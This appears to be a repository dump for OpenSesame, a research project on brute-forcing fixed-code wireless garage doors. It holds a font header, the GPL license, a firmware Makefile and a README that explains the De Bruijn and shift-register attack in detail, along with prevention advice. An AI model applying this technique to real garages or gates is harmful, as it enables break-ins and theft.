├── 5x7.h
├── LICENSE
├── Makefile
├── README.md
├── bits.h
├── cc1110.h
├── display.c
├── display.h
├── fbuffer.c
├── fbuffer.h
├── garages.h
├── inc
├── README
├── nyan1.png
├── nyan1.pnm
├── nyan1.pnm.inc
├── nyan2.png
├── nyan2.pnm
├── nyan2.pnm.inc
├── nyan3.png
├── nyan3.pnm
├── nyan3.pnm.inc
├── nyan4.png
├── nyan4.pnm
└── nyan4.pnm.inc
├── ioCCxx10_bitdef.h
├── keys.c
├── keys.h
├── opensesame.c
├── pm.c
├── pm.h
├── rf.c
├── rf.h
├── types.h
├── zsprites.c
└── zsprites.h
/5x7.h:
--------------------------------------------------------------------------------
1 | /*
2 | * 5x7 fixed font taken from http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html
3 | * "Public domain font. Share and enjoy."
4 | */
5 |
6 | #define FONT_WIDTH 5
7 | #define FONT_HEIGHT 7
8 | #define FONT_OFFSET 32
9 | #define FONT_MAX 127
10 |
11 | __xdata const unsigned char font[][FONT_WIDTH] = {
12 | {0x00, 0x00, 0x00, 0x00, 0x00}, /* space */
13 | {0x00, 0x00, 0x5e, 0x00, 0x00}, /* exclam */
14 | {0x00, 0x0e, 0x00, 0x0e, 0x00}, /* quotedbl */
15 | {0x28, 0x7c, 0x28, 0x7c, 0x28}, /* numbersign */
16 | {0x08, 0x54, 0x7c, 0x54, 0x20}, /* dollar */
17 | {0x26, 0x10, 0x08, 0x64, 0x00}, /* percent */
18 | {0x28, 0x54, 0x28, 0x40, 0x00}, /* ampersand */
19 | {0x00, 0x00, 0x0e, 0x00, 0x00}, /* quotesingle */
20 | {0x00, 0x3c, 0x42, 0x00, 0x00}, /* parenleft */
21 | {0x00, 0x42, 0x3c, 0x00, 0x00}, /* parenright */
22 | {0x00, 0x54, 0x38, 0x54, 0x00}, /* asterisk */
23 | {0x10, 0x10, 0x7c, 0x10, 0x10}, /* plus */
24 | {0x00, 0x80, 0x60, 0x20, 0x00}, /* comma */
25 | {0x10, 0x10, 0x10, 0x10, 0x00}, /* hyphen */
26 | {0x00, 0x60, 0x60, 0x00, 0x00}, /* period */
27 | {0x20, 0x10, 0x08, 0x04, 0x00}, /* slash */
28 | {0x00, 0x3c, 0x42, 0x3c, 0x00}, /* zero */
29 | {0x00, 0x44, 0x7e, 0x40, 0x00}, /* one */
30 | {0x44, 0x62, 0x52, 0x4c, 0x00}, /* two */
31 | {0x22, 0x4a, 0x4a, 0x36, 0x00}, /* three */
32 | {0x18, 0x14, 0x7e, 0x10, 0x00}, /* four */
33 | {0x2e, 0x4a, 0x4a, 0x32, 0x00}, /* five */
34 | {0x3c, 0x4a, 0x4a, 0x30, 0x00}, /* six */
35 | {0x02, 0x62, 0x1a, 0x06, 0x00}, /* seven */
36 | {0x34, 0x4a, 0x4a, 0x34, 0x00}, /* eight */
37 | {0x0c, 0x52, 0x52, 0x3c, 0x00}, /* nine */
38 | {0x00, 0x6c, 0x6c, 0x00, 0x00}, /* colon */
39 | {0x80, 0x6c, 0x2c, 0x00, 0x00}, /* semicolon */
40 | {0x00, 0x10, 0x28, 0x44, 0x00}, /* less */
41 | {0x28, 0x28, 0x28, 0x28, 0x00}, /* equal */
42 | {0x00, 0x44, 0x28, 0x10, 0x00}, /* greater */
43 | {0x00, 0x04, 0x52, 0x0c, 0x00}, /* question */
44 | {0x3c, 0x42, 0x5a, 0x1c, 0x00}, /* at */
45 | {0x7c, 0x12, 0x12, 0x7c, 0x00}, /* A */
46 | {0x7e, 0x4a, 0x4a, 0x34, 0x00}, /* B */
47 | {0x3c, 0x42, 0x42, 0x24, 0x00}, /* C */
48 | {0x7e, 0x42, 0x42, 0x3c, 0x00}, /* D */
49 | {0x7e, 0x4a, 0x4a, 0x42, 0x00}, /* E */
50 | {0x7e, 0x0a, 0x0a, 0x02, 0x00}, /* F */
51 | {0x3c, 0x42, 0x52, 0x74, 0x00}, /* G */
52 | {0x7e, 0x08, 0x08, 0x7e, 0x00}, /* H */
53 | {0x00, 0x42, 0x7e, 0x42, 0x00}, /* I */
54 | {0x20, 0x40, 0x40, 0x3e, 0x00}, /* J */
55 | {0x7e, 0x18, 0x24, 0x42, 0x00}, /* K */
56 | {0x7e, 0x40, 0x40, 0x40, 0x00}, /* L */
57 | {0x7e, 0x0c, 0x0c, 0x7e, 0x00}, /* M */
58 | {0x7e, 0x0c, 0x30, 0x7e, 0x00}, /* N */
59 | {0x3c, 0x42, 0x42, 0x3c, 0x00}, /* O */
60 | {0x7e, 0x12, 0x12, 0x0c, 0x00}, /* P */
61 | {0x3c, 0x62, 0x42, 0xbc, 0x00}, /* Q */
62 | {0x7e, 0x12, 0x32, 0x4c, 0x00}, /* R */
63 | {0x24, 0x4a, 0x52, 0x24, 0x00}, /* S */
64 | {0x00, 0x02, 0x7e, 0x02, 0x00}, /* T */
65 | {0x3e, 0x40, 0x40, 0x3e, 0x00}, /* U */
66 | {0x1e, 0x60, 0x60, 0x1e, 0x00}, /* V */
67 | {0x7e, 0x30, 0x30, 0x7e, 0x00}, /* W */
68 | {0x66, 0x18, 0x18, 0x66, 0x00}, /* X */
69 | {0x00, 0x0e, 0x70, 0x0e, 0x00}, /* Y */
70 | {0x62, 0x52, 0x4a, 0x46, 0x00}, /* Z */
71 | {0x00, 0x7e, 0x42, 0x42, 0x00}, /* bracketleft */
72 | {0x04, 0x08, 0x10, 0x20, 0x00}, /* backslash */
73 | {0x00, 0x42, 0x42, 0x7e, 0x00}, /* bracketright */
74 | {0x00, 0x04, 0x02, 0x04, 0x00}, /* asciicircum */
75 | {0x40, 0x40, 0x40, 0x40, 0x00}, /* underscore */
76 | {0x00, 0x02, 0x04, 0x00, 0x00}, /* grave */
77 | {0x30, 0x48, 0x28, 0x78, 0x00}, /* a */
78 | {0x7e, 0x48, 0x48, 0x30, 0x00}, /* b */
79 | {0x30, 0x48, 0x48, 0x00, 0x00}, /* c */
80 | {0x30, 0x48, 0x48, 0x7e, 0x00}, /* d */
81 | {0x30, 0x68, 0x58, 0x10, 0x00}, /* e */
82 | {0x10, 0x7c, 0x12, 0x04, 0x00}, /* f */
83 | {0x50, 0xa8, 0xa8, 0x98, 0x00}, /* g */
84 | {0x7e, 0x08, 0x08, 0x70, 0x00}, /* h */
85 | {0x00, 0x48, 0x7a, 0x40, 0x00}, /* i */
86 | {0x00, 0x40, 0x80, 0x7a, 0x00}, /* j */
87 | {0x7e, 0x10, 0x28, 0x40, 0x00}, /* k */
88 | {0x00, 0x42, 0x7e, 0x40, 0x00}, /* l */
89 | {0x78, 0x10, 0x18, 0x70, 0x00}, /* m */
90 | {0x78, 0x08, 0x08, 0x70, 0x00}, /* n */
91 | {0x30, 0x48, 0x48, 0x30, 0x00}, /* o */
92 | {0xf8, 0x48, 0x48, 0x30, 0x00}, /* p */
93 | {0x30, 0x48, 0x48, 0xf8, 0x00}, /* q */
94 | {0x78, 0x08, 0x08, 0x10, 0x00}, /* r */
95 | {0x50, 0x58, 0x68, 0x28, 0x00}, /* s */
96 | {0x08, 0x3e, 0x48, 0x40, 0x00}, /* t */
97 | {0x38, 0x40, 0x40, 0x78, 0x00}, /* u */
98 | {0x00, 0x38, 0x40, 0x38, 0x00}, /* v */
99 | {0x78, 0x60, 0x60, 0x78, 0x00}, /* w */
100 | {0x48, 0x30, 0x30, 0x48, 0x00}, /* x */
101 | {0x18, 0xa0, 0x40, 0x38, 0x00}, /* y */
102 | {0x48, 0x68, 0x58, 0x48, 0x00}, /* z */
103 | {0x00, 0x08, 0x3c, 0x42, 0x00}, /* braceleft */
104 | {0x00, 0x00, 0x7e, 0x00, 0x00}, /* bar */
105 | {0x00, 0x42, 0x3c, 0x08, 0x00}, /* braceright */
106 | };
107 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
341 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | libs=display.rel rf.rel keys.rel fbuffer.rel zsprites.rel pm.rel
2 | simlibs=display.c.sim.rel rf.c.sim.rel keys.c.sim.rel
3 | CC=sdcc
4 | CFLAGS=#--no-pack-iram #--stack-auto
5 | LFLAGS=--xram-loc 0xF000 --model-large
6 | #LFLAGS=--xram-loc 0xF000 --model-small
7 | SIMFLAGS=-DSIMULATOR
8 |
9 | all: opensesame.hex #simulator.hex
10 |
11 | %.rel : %.c
12 | $(CC) $(CFLAGS) $(LFLAGS) -c $<
13 | #$(CC) $(SIMFLAGS) $(CFLAGS) $(LFLAGS) -c $< -o $<.sim.rel
14 |
15 | simulator.hex: opensesame.c.sim.rel $(libs)
16 | $(CC) $(SIMFLAGS) $(LFLAGS) opensesame.c.sim.rel $(simlibs)
17 | packihx simulator.hex
18 |
19 | opensesame.hex: opensesame.rel $(libs)
20 | $(CC) $(LFLAGS) opensesame.rel $(libs)
21 | packihx opensesame.hex
22 |
23 | install: opensesame.hex
24 | goodfet.cc erase
25 | goodfet.cc flash opensesame.hex
26 | verify: opensesame.hex
27 | goodfet.cc verify opensesame.hex
28 | clean:
29 | rm -f *.hex *.ihx *.rel *.map *.lnk *.lst *.mem *.sym *.rst *.asm *.lk rf sim.out
30 | sim:
31 | echo > sim.out
32 | echo "Run:"
33 | echo "tail -f sim.out"
34 | echo
35 | s51 -s sim.out simulator.hex
36 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # [OpenSesame](https://samy.pl/opensesame/)
2 |
3 | [OpenSesame](https://samy.pl/opensesame) is a device that can wirelessly open virtually any fixed-code garage door in seconds, exploiting a **new attack** I've discovered on wireless fixed-pin devices. Using a child's toy from Mattel.
4 |
5 | **Update to attack rolling codes:** I've demonstrated a new tool, RollJam, which additionally attacks rolling codes of garages and vehicles, presented here at DEFCON 23.
6 |
7 | ##### Follow me on [Twitter](https://twitter.com/samykamkar) or [join my mailing list](https://samy.pl/list/) to hear about future projects and research.
8 |
9 | By [@SamyKamkar](https://twitter.com/samykamkar)
10 |
11 | **Live demonstration** and full details available in the
12 | video:
13 |
14 |
15 | Released June 4, 2015
16 |
17 | **Source code:** [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
18 |
19 | **Prevention:** If you are using a gate or garage which uses "fixed codes", to prevent this type of attack, ensure you upgrade to a system which clearly states that it's using **rolling codes, hopping codes, Security+ or Intellicode**. These are **not** foolproof from attack, but do prevent the OpenSesame attack along with traditional brute forcing attacks. Suggested vendors: current products from LiftMaster and Genie.
20 |
21 | **Criminals:** The code I've released is bricked to prevent you from abusing it. It *almost* works, but just not quite, and is released to educate. If you are an expert in RF and microcontrollers, you could fix it, but then you wouldn't need my help in the first place, would you.
22 |
23 | -----
24 |
25 | # (U) Capabilities
26 |
27 | 
28 |
29 | **[OpenSesame](https://samy.pl/opensesame)** exploits not only the limited key space of most fixed pin wireless garages and gates, but employs a **new attack** I've discovered reducing the time it takes to open any garage by over 95%. This means most garages will take only seconds to open.
30 |
31 | OpenSesame uses the Radica Girltech IM-ME texting toy from Mattel, as it sports all the equipment we need to pull off the attack -- an effective [TI CC1110](https://www.ti.com/product/cc1110-cc1111) sub-GHz RF chip, an LCD display, keyboard, backlight, and more. And it's pink.
32 |
33 | This tool builds off of the shoulders of giants, including the original opensesame by Michael Ossmann, IM-ME code & goodfet.cc by Travis Goodspeed, IM-ME LCD reverse engineering by Dave, and effective ideas from Mike Ryan. Additional links and resources included at the end.
34 |
35 | Note, this will **not** open garages using rolling codes. Garages with rolling code technology (often called "Intellicode", "Security+", ""hopping codes", etc) are much more secure than fixed-pin garages **but *are* susceptible to other attacks**.
36 |
37 | 
38 |
39 | -----
40 |
41 | # (U) Primary Issues
42 |
43 | *See `The OpenSesame Attack` section below for the **new** attack.*
44 |
45 | The simple, less-interesting vulnerability in fixed code systems is the clear fact that their key space is **extremely** limited. For example, a 12-bit (12 binary dip switch) garage/remote supports 12 bits of possible combinations. This is essentially a fixed password that opens your garage. Since it's binary and 12 bits long, that's 2\*\*12, which is 4096 possible combinations.
46 |
47 | **A 2-character password on a website is more than twice as hard to solve than to brute force the 12-bit binary dip switch garage.** This is a basic (and sadly long-standing) issue that we exploit, but the exciting attack is in **The OpenSesame Attack** section.
48 |
49 | Now in a common garage and clicker, we're going to be using between an 8-12 bit code, and we see a single click sends the same code 5 times, and we see each "bit" takes 2ms to send, with a 2ms wait period per bit after the entire code is sent. So a single 12-bit combination takes (12 bits * 2ms transmit * 2ms wait * 5 times = 240ms). To brute force the entire 8, 9, 10, 11 and 12-bit key space, that's:
50 |
51 | (((2 \*\* 12)\*12) + ((2 \*\* 11)\*11) + ((2 \*\* 10)\*10) + ((2 \*\* 9)\*9) + ((2 \*\* 8)\*8)) = 88576 bits
52 |
53 | **88576 bits * 4ms * 5 transmits = 1771.52 seconds = 29 minutes**
54 |
55 | So it takes 29 minutes to open an (8-12)-bit garage (assuming you know the frequency and baud rate, both of which are pretty common.) If you have to attempt a few different frequencies and baud rates, then the time it takes is a multiple of 29 minutes.
56 |
57 | **This is not bad, but we can do better.**
58 |
59 | -----
60 |
61 | # (U) Initial Reduction
62 |
63 | The first attempt at reduction is pretty obvious and is to remove the retransmission. Instead of transmitting the signal 5 times each time, only transmit it once. It's transmitted multiple times to help the receiver detect it in case of interference, but assuming there's no interference or issues receiving, this reduces the time by 5!
64 |
65 | **1771.52s / 5 = 354.304 seconds = ~6 minutes**
66 |
67 | Nice.
68 |
69 | Now while initially testing basic brute forcing on garages, I was chatting with some #ubertooth people, and [mikeryan](https://lacklustre.net/) suggested I remove the wait period between sending each full code and see if I can send each code back-to-back. So instead of sending "111111000000[wait for 12 bits]111111000001", I would send "111111000000111111000001".
70 |
71 | This worked, and reduced the entire time to transmit all codes by 50%! Incredible.
72 |
73 | **1771.52s / 5 / 2 = 177.152 seconds = ~3 minutes**
74 |
75 | **This is not bad, but we can do better.**
76 |
77 | -----
78 |
79 | # (U) The OpenSesame Attack
80 |
81 | 
82 |
83 | Here's the kicker. When looking at the data we're sending, we're now sending a continuous stream of bits. For example:
84 |
85 | * (code #1) 000000000000
86 | * (code #2) 000000000001
87 | * (code #3) 000000000010
88 | * (code #4) 000000000011
89 | and so on, which looks like:
90 | **000000000000**000000000001**000000000010**000000000011
91 |
92 | The question is, how does the garage receiver look at these bits? What if it's using a bit [shift register](https://en.wikipedia.org/wiki/Shift_register)?
93 |
94 | According to Wikipedia:
95 |
96 | ```In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.```
97 |
98 | If this is the case, what this means is that if you prepend the real code with *any* amount of bits before or after, the garage won't care and will open.
99 |
100 | Let's say our garage pin is 111111000000. If the garage uses a shift register, and we send 13 bits, "**0**111111000000", the garage will first test:
101 | 011111100000 (incorrect).
102 |
103 | We would assume it will then move onto the next 12 bits (even though there is only one bit left). But no! A shift register only removes 1 bit, then pulls in the next bit.
104 |
105 | So the garage actually tests:
106 | 011111100000 (incorrect)
107 | (chops off the first bit, then pulls in the next bit)
108 | 111111000000 (correct!)
109 |
110 | Meaning we sent 13 bits to test **two** 12-bit codes instead of sending a full 24 bits. Incredible!
111 |
112 | What's even more beautiful is that since the garage is not clearing an attempted code, a 12 bit code also tests five 8 bit codes, four 9 bit codes, three 10 bit codes, two 11 bit codes, and of course one 12 bit code! As long as we send every 12 bit code, the 8-11 bit codes will all be tested simultaneously.
113 |
114 | Now, there must be an algorithm to *efficiently* produce every possible code, with overlap (to exploit the shift register) in as few bits as possible.
115 |
116 | **My main man, [De Bruijn](https://en.wikipedia.org/wiki/Nicolaas_Govert_de_Bruijn).**
117 |
118 | Nicolaas Govert de Bruijn was a Dutch mathematician who discovered just this, dubbed the [De Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence).
119 |
120 | OpenSesame implements this algorithm to produce every possible overlapping sequence of 8-12 bits in the least amount of time. How little time?
121 |
122 | To test every 8 through 12 bit possibility:
123 | **((2 \*\* 12) + 11) \* 4ms / 2 = 8214ms = 8.214 seconds**
124 |
125 | **We went from 1771 seconds down to 8 seconds. Even our most efficient implementation with the other reductions but without De Bruijn was at 177 seconds, more than 20 times longer. Awesome!**
126 |
127 | -----
